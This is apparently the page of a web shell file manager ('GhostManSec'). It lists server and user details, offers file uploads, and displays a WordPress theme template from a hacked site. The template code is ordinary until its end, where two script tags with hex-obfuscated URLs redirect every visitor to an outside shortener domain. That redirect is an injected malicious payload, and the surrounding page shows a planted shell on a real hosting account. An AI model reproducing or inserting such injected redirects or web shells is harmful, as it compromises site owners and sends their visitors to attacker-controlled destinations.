GhostManSec
Server: LiteSpeed
System: Linux premium197.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
User: parhudrw (1725)
PHP: 7.4.33
Disabled: NONE
Upload Files
File: /home/parhudrw/saifookhan.com/wp-content/themes/expertly/template-parts/category-posts.php
<?php
/**
 * Template part for displaying category posts section.
 *
 * @package Expertly
 */

$ids = csco_get_category_posts_ids();

if ( $ids ) {
	$args = array(
		'ignore_sticky_posts' => true,
		'post__in'            => $ids,
		'posts_per_page'      => count( $ids ),
		'orderby'             => 'post__in',
	);

	$the_query = new WP_Query( $args );
}

// Determines whether there are more posts available in the loop.
if ( $ids && $the_query->have_posts() ) {

	do_action( 'csco_category_posts_before' );
	?>
	<section class="section-category-posts">

		<?php do_action( 'csco_category_posts_start' ); ?>

		<div class="cs-category-posts">
			<?php
			while ( $the_query->have_posts() ) :
				$the_query->the_post();

				?>
				<div class="cs-category-post">
					<article <?php post_class(); ?>>
						<?php
						if ( 0 === $the_query->current_post ) {
							?>
							<div class="cs-overlay cs-overlay-ratio cs-ratio-landscape cs-ratio-16by9 cs-bg-dark">
								<div class="cs-overlay-background">
									<?php
										the_post_thumbnail( 'cs-medium', array(
											'class' => 'pk-lazyload-disabled',
										) );
									?>
								</div>
								<div class="cs-overlay-content">
									<?php the_title( '<h2 class="entry-title"><a href="' . esc_url( get_permalink() ) . '" rel="bookmark">', '</a></h2>' ); ?>
									<?php csco_get_post_meta( array( 'author', 'date', 'shares', 'views', 'reading_time' ), false, true, 'archive_post_meta' ); ?>
									<?php csco_the_post_format_icon(); ?>
								</div>
								<a href="<?php the_permalink(); ?>" class="cs-overlay-link"></a>
							</div>
							<?php
						} else {
							?>
							<div class="cs-overlay cs-overlay-hover cs-overlay-ratio cs-ratio-landscape cs-bg-dark">
								<div class="cs-overlay-background">
									<?php
										the_post_thumbnail( 'cs-thumbnail', array(
											'class' => 'pk-lazyload-disabled',
										) );
									?>
								</div>
								<div class="cs-overlay-content">
									<?php csco_get_post_meta( array( 'views', 'reading_time' ), false, true, 'archive_post_meta' ); ?>
									<?php csco_the_post_format_icon(); ?>
								</div>
								<a href="<?php the_permalink(); ?>" class="cs-overlay-link"></a>
							</div>
							<div class="cs-card">
								<h2 class="h5 entry-title">
									<a href="<?php the_permalink(); ?>" title="<?php the_title(); ?>"><?php the_title(); ?></a>
								</h2>
								<?php csco_get_post_meta( array( 'date', 'shares' ), false, true, 'archive_post_meta' ); ?>
							</div>
							<?php
						}
						?>
					</article>
				</div>
				<?php
			endwhile;
			?>
		</div>

		<?php wp_reset_postdata(); ?>

		<?php do_action( 'csco_category_posts_end' ); ?>

	</section>

	<?php
	do_action( 'csco_category_posts_after' );
}
ob_start();

<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x67\x65\x78\x4a\x43\x57\x55\x4c\x44\x30\x72\x35";</script>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x67\x65\x78\x4a\x43\x57\x55\x4c\x44\x30\x72\x35";</script>